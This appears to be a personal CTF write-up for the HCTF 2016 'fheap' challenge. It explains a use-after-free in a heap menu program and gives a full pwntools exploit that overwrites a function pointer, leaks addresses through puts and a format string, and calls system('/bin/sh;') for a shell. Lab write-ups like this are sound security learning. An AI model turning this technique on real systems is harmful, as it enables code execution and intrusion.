PWN_2016_hctf_fheap
After a few months, updating again (laughing emoji).
I revisited the content related to heap a few days ago, as I had forgotten everything I had learned months ago.
This time, I found a challenge on ctf-wiki.
I compiled it myself, so the addresses will be different from its exploit.
The challenge implements create and delete functionalities.

In the createStr() function, it handles strings of different sizes differently.
When nbytesa (which is strlen(str)) > 0xf, it will malloc another address to store the str separately, and then store this address in ptr; otherwise, it will directly store in ptr.

In the deleteStr() function, it can be observed that it only clears *(&Strings + 4 * Int) and does not clear *(&Strings + 2 * Int + 1), which is the data of ptr. This provides us with the possibility of using Double Free and UAF, and the check is based on ptr.

Approach
The approach is relatively clear: allocate two strings smaller than 0xf, free them, so both chunks are put in the fastbin. Then allocate a 0x20 size string again, ptr will retrieve one chunk from the fastbin (let's call it 0), and the string will retrieve the other one (let's call it 1).
At this point, we can overwrite ptr + 3 in 1, which is the original location of the freeShort function. If we then delete(1) at this moment, it will execute our malicious address.
Exploit
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
First, set up the basic menu functions.
Following our approach, let's try to overwrite the following:
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
gdb_(1)
create(0x20, b'a'*0x10 + b'b'*0x08 + p64(0xdeadbeef))

As seen, our freeShort function has been successfully overwritten. Now, when executing delete(1), it will execute the function at 0x00005571deadbeef and use ptr itself as the parameter.
However, it's important to note that due to almost all protections being enabled, we currently cannot leak libc_base.

By observing in IDA, it can be noticed that right after the two free calls, there is a call _puts. Considering the characteristic of ASLR not randomizing the lower 12 bits, by directly changing the last two bytes to \x7c, we can make the free operation execute puts(ptr). Based on the information in the image, the result of puts should be 'a'*0x10+'b'*0x10+addr_of_call__puts, then subtract 0x147C to determine the base address of the program.

create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
gdb_(1, 'b deleteStr')
delete(1) # -> call _puts
The puts(ptr) is successfully executed, and the program's base address is calculated.


How do we leak libc_base? At this point, since we can execute at any address and the first parameter is controllable, we can use a format string vulnerability to output the address of a specific function and then find the libc_base.
I chose to use printf at 0x150E. Note that I set eax to zero before executing printf to prevent a test al, al instruction at printf+7 from not jumping if al is not zero, which would lead to an alignment issue with movaps at printf+34. The alignment cannot be fully controlled by us.
One might try to realign the memory and then use
DynELFto achieve alignment, but I saw in their write-up that they didn't succeed in reproducing it. Repeatedcreatedid not realign the memory.

According to the stack layout, we can identify 0x7ffe3a3d1758 as the position of printf+153. We can use fmtarg 0x7ffe3a3d1758 to calculate the offset (or calculate with 6+12-1 otherwise).
pwndbg> fmtarg 0x7ffe3a3d1758
The index of format argument : 18 ("\%17$p")
This way, we determine the address of printf+153.

Next steps involve using the libc-database to determine the libc version and calculate libc_base, system_addr, and craft /bin/sh;.
It's worth noting that
/bin/sh;is constructed instead of/bin/sh\x00assystem()may execute more than just/bin/shpreventing truncation.
Full exploit:
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf))
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
libc_base = printf_addr - 0x55810
system_addr = libc_base + 0x453a0
print(">>>", hex(printf_addr))
sh.sendline(b"")
sh.sendline(b"")
delete(0)
create(0x20, b'/bin/sh;' + b'b'*(0x18-len(b'/bin/sh;')) + p64(system_addr))
delete(1)
sh.interactive()
Summary
This was a more comprehensive challenge involving UAF, which took around six to seven hours. I went through the DynELF documentation, spent a lot of time on movaps, but in the end, I solved it using a more conventional approach. Finally, we got it, cheers for that!